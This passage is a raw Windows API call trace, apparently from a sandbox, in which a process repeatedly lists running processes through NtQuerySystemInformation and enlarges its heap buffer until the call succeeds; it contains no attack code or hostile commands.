[0218.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.914] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.022] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.023] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.023] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.137] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.240] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.240] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.241] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.242] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.350] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.351] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.351] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.460] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.568] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.568] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.568] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.568] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.568] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.569] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.569] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.569] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.569] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.569] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.677] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.677] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.677] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.677] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.678] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.678] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.678] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.678] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.678] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.678] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.786] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.787] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0219.897] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0219.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0219.897] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0219.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0219.897] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0219.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.897] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0219.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.897] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0219.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.898] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0219.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0219.898] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0219.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0219.898] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0219.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0219.898] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.005] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.006] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.006] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.006] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.114] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.114] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.114] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.114] RtlReAllocateHeap 